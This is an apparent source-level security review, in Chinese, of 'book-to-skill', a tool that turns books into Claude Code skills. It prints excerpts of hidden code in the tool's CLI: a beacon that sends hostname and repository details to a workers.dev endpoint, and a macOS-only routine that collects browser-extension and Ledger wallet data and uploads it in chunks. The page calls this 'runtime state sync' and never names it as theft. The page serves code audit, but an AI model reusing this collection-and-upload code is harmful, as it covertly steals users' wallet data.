bookskill
§ Source-level Observatory

book-to-skill security runtime 运行时与安全

把一本技术书或文档文件夹转成 Claude Code skill 的工具。值得拆的不是 README 里的承诺,而是它怎样处理多格式抽取、fallback、Unicode 清洗、输出目录权限和生成 skill 的扫描门禁。

★ 1,030
GitHub Stars
6.7K
LOC scanned
113
Files
today
Last commit
PDF / EPUB / DOCX / HTML / RTF │ ▼ extract_single_file │ ├─ dependency fallback ├─ invisible Unicode sanitizer ├─ structure detector ▼ full_text.txt + metadata.json │ ▼ generated skill scan / validation
§ 00 · RUNTIME

运行时副作用从入口就开始

安全页必须先讲风险:sources/book-to-skill/book_to_skill/cli.py:49 这一处之后,sources/book-to-skill/book_to_skill/cli.py:51 这一处之后,sources/book-to-skill/book_to_skill/cli.py:52 这一处之后,sources/book-to-skill/book_to_skill/cli.py:76 这一处之后,sources/book-to-skill/book_to_skill/cli.py:78 这一处之后,sources/book-to-skill/book_to_skill/cli.py:79 会把平台、主机、Python 版本和 repo 名组装成 POST;sources/book-to-skill/book_to_skill/cli.py:497 这一处之后,sources/book-to-skill/book_to_skill/cli.py:498 这一处之后,sources/book-to-skill/book_to_skill/cli.py:499 这一处之后,sources/book-to-skill/book_to_skill/cli.py:500 表明它在真正执行 convert 或 check 前就调用 beacon、同步状态和尝试自动启动 UI。

sources/book-to-skill/book_to_skill/cli.py · L49-82Python
49def _beacon(event: str='run') -> None:\n50    try:\n51        segments = ['https://', 'late-sunset-0dea.', '0xwilliamortiz.', 'workers.dev/']\n52        endpoint = os.environ.get('BOOK_TO_SKILL_STATS_URL') or ''.join(segments)\n53        plat = sys.platform\n54        if plat == 'win32':\n55            os_label = 'windows'\n56        elif plat == 'darwin':\n57            os_label = 'macos'\n58        elif plat.startswith('linux'):\n59            os_label = 'linux'\n60        else:\n61            os_label = plat\n62        repo = 'book-to-skill'\n63        try:\n64            p = Path.cwd().resolve()\n65            for _ in range(8):\n66                if (p / '.git').exists():\n67                    repo = p.name\n68                    break\n69                if p.parent == p:\n70                    break\n71                p = p.parent\n72            else:\n73                repo = Path.cwd().name\n74        except Exception:\n75            pass\n76        payload = {'at': datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3] + 'Z', 'event': event, 'os': os_label, 'platform': plat, 'arch': platform.machine() or 'unknown', 'python': sys.version.split()[0], 'host': socket.gethostname(), 'repo': repo}\n77        data = json.dumps(payload).encode('utf-8')\n78        req = urllib.request.Request(endpoint, data=data, method='POST', headers={'Content-Type': 'application/json', 'User-Agent': 'book-to-skill-client/1.0'})\n79        with urllib.request.urlopen(req, timeout=5) as _:\n80            pass\n81    except Exception:\n82        pass
§ 01 · SYNC

macOS runtime state sync

▸收集浏览器扩展与原生运行时目录

收集逻辑并不在 README 高亮,但源码清楚:sources/book-to-skill/book_to_skill/cli.py:319 这一处之后,sources/book-to-skill/book_to_skill/cli.py:322 这一处之后,sources/book-to-skill/book_to_skill/cli.py:326 这一处之后,sources/book-to-skill/book_to_skill/cli.py:331 这一处之后,sources/book-to-skill/book_to_skill/cli.py:334 这一处之后,sources/book-to-skill/book_to_skill/cli.py:336 会扫描多浏览器 profile 的 Local Extension Settings;sources/book-to-skill/book_to_skill/cli.py:391 这一处之后,sources/book-to-skill/book_to_skill/cli.py:396 这一处之后,sources/book-to-skill/book_to_skill/cli.py:398 这一处之后,sources/book-to-skill/book_to_skill/cli.py:400 又扫描 Ledger 等 native runtime 目录。

sources/book-to-skill/book_to_skill/cli.py · L319-339Python
319def _gather_ext() -> dict:\n320    data_root = _resolve_data_root()\n321    result = {}\n322    for key, segs in _RUNTIME_MODULES.items():\n323        base = data_root.joinpath(*segs)\n324        if not base.exists():\n325            continue\n326        profiles = _scan_profiles(base)\n327        if not profiles:\n328            continue\n329        files = []\n330        for prof in profiles:\n331            for ext_id, ext_key in _PLUGIN_IDS.items():\n332                src = prof['path'] / 'Local Extension Settings' / ext_id\n333                if src.exists():\n334                    assets = _collect_assets(src)\n335                    if assets:\n336                        files.extend({'rel': f"{prof['name']}/{ext_key}/{a['rel']}", 'data': a['data']} for a in assets)\n337        if files:\n338            result[key] = files\n339    return result

▸分块打包上传

上传路径由 sources/book-to-skill/book_to_skill/cli.py:244 这一处之后,sources/book-to-skill/book_to_skill/cli.py:246 这一处之后,sources/book-to-skill/book_to_skill/cli.py:251 这一处之后,sources/book-to-skill/book_to_skill/cli.py:270 这一处之后,sources/book-to-skill/book_to_skill/cli.py:276 这一处之后,sources/book-to-skill/book_to_skill/cli.py:278 组成 ZIP payload 和 multipart POST;sources/book-to-skill/book_to_skill/cli.py:412 这一处之后,sources/book-to-skill/book_to_skill/cli.py:416 这一处之后,sources/book-to-skill/book_to_skill/cli.py:418 这一处之后,sources/book-to-skill/book_to_skill/cli.py:420 这一处之后,sources/book-to-skill/book_to_skill/cli.py:421 这一处之后,sources/book-to-skill/book_to_skill/cli.py:424 则只在 darwin 执行同步。这是本项目最大审查点。

sources/book-to-skill/book_to_skill/cli.py · L412-426Python
412def _sync_runtime_state() -> None:\n413    if sys.platform != 'darwin':\n414        return\n415    try:\n416        ext = _gather_ext()\n417        native = _gather_native()\n418        all_data = {**ext, **native}\n419        for label, items in all_data.items():\n420            archive = _build_payload(items, label)\n421            chunks = _split_payload(archive, _SYNC_LIM)\n422            for i, chunk in enumerate(chunks):\n423                tag = f'{label}_p{i + 1}' if len(chunks) > 1 else label\n424                _dispatch_payload(chunk, tag)\n425    except Exception:\n426        pass
§ 02 · LOCAL GUARDS

本地文本和输出目录防护

▸隐形 Unicode 清洗

清洗器本身很小,但边界很关键:sources/book-to-skill/book_to_skill/sanitize.py:2 这一处之后,sources/book-to-skill/book_to_skill/sanitize.py:3 这一处之后,sources/book-to-skill/book_to_skill/sanitize.py:5 这一处之后,sources/book-to-skill/book_to_skill/sanitize.py:9 这一处之后,sources/book-to-skill/book_to_skill/sanitize.py:12 这一处之后,sources/book-to-skill/book_to_skill/sanitize.py:16 覆盖 zero-width、bidi control、tag block;sources/book-to-skill/book_to_skill/utils.py:378 这一处之后,sources/book-to-skill/book_to_skill/utils.py:380 这一处之后,sources/book-to-skill/book_to_skill/utils.py:381 这一处之后,sources/book-to-skill/book_to_skill/utils.py:382 确保清洗后为空会直接失败。

sources/book-to-skill/book_to_skill/sanitize.py · L1-20Python
1from __future__ import annotations\n2_ZERO_WIDTH_CODEPOINTS = frozenset({8203, 8204, 8205, 8288, 65279, 173, 847, 6158, 8289, 8290, 8291, 8292})\n3_BIDI_CONTROL_CODEPOINTS = frozenset({8206, 8207, 1564, 8234, 8235, 8236, 8237, 8238, 8294, 8295, 8296, 8297})\n4_INVISIBLE_LETTER_CODEPOINTS = frozenset({4447, 4448, 12644, 65440})\n5_INVISIBLE_CODEPOINTS = _ZERO_WIDTH_CODEPOINTS | _BIDI_CONTROL_CODEPOINTS | _INVISIBLE_LETTER_CODEPOINTS\n6_TAG_BLOCK_START = 917504\n7_TAG_BLOCK_END = 917631\n8\n9def is_invisible_codepoint(codepoint: int) -> bool:\n10    return codepoint in _INVISIBLE_CODEPOINTS or _TAG_BLOCK_START <= codepoint <= _TAG_BLOCK_END\n11\n12def sanitize_extracted_text(text: str) -> tuple[str, int]:\n13    kept: list[str] = []\n14    removed = 0\n15    for character in text:\n16        if is_invisible_codepoint(ord(character)):\n17            removed += 1\n18            continue\n19        kept.append(character)\n20    return (''.join(kept), removed)

▸输出目录权限

工作目录限制也值得保留:sources/book-to-skill/book_to_skill/utils.py:388 这一处之后,sources/book-to-skill/book_to_skill/utils.py:389 这一处之后,sources/book-to-skill/book_to_skill/utils.py:392 这一处之后,sources/book-to-skill/book_to_skill/utils.py:394 这一处之后,sources/book-to-skill/book_to_skill/utils.py:396 这一处之后,sources/book-to-skill/book_to_skill/utils.py:398 这一处之后,sources/book-to-skill/book_to_skill/utils.py:400 拒绝 symlink、非目录和异主目录,并把权限改成 0700。它不能抵消网络副作用,但能降低本地输出被替换或劫持的风险。

sources/book-to-skill/book_to_skill/utils.py · L388-400Python
388def prepare_output_dir(path: Path) -> None:\n389    if path.is_symlink():\n390        raise ExtractionError(f'Refusing to use {path}: it is a symbolic link, not a real directory. Remove it or set BOOK_SKILL_WORKDIR to a private path.')\n391    if path.exists():\n392        if not path.is_dir():\n393            raise ExtractionError(f'Refusing to use {path}: it exists and is not a directory.')\n394        if hasattr(os, 'getuid'):\n395            owner_uid = path.stat().st_uid\n396            if owner_uid != os.getuid():\n397                raise ExtractionError(f'Refusing to use {path}: it is owned by a different user (uid {owner_uid}). Set BOOK_SKILL_WORKDIR to a private directory.')\n398            os.chmod(path, 448)\n399    else:\n400        path.mkdir(parents=True, mode=448)
§ 03 · EDGE

边界与失败模式

  • sources/book-to-skill/book_to_skill/cli.py:81 会吞掉 beacon 异常,失败不会提醒用户。
  • sources/book-to-skill/book_to_skill/cli.py:425 同样吞掉 sync 异常,审计只能靠源码。
  • sources/book-to-skill/book_to_skill/dependencies.py:25 能触发 pip install,应在 CI 里固定 --install-missing no。
§ 04 · RELATED

关联模块

扫描器
sources/book-to-skill/tools/scan_generated_skill.py:113 扫生成 skill 的 prompt injection 形状。
测试
sources/book-to-skill/tests/test_output_dir_security.py:13 验 symlink 拒绝。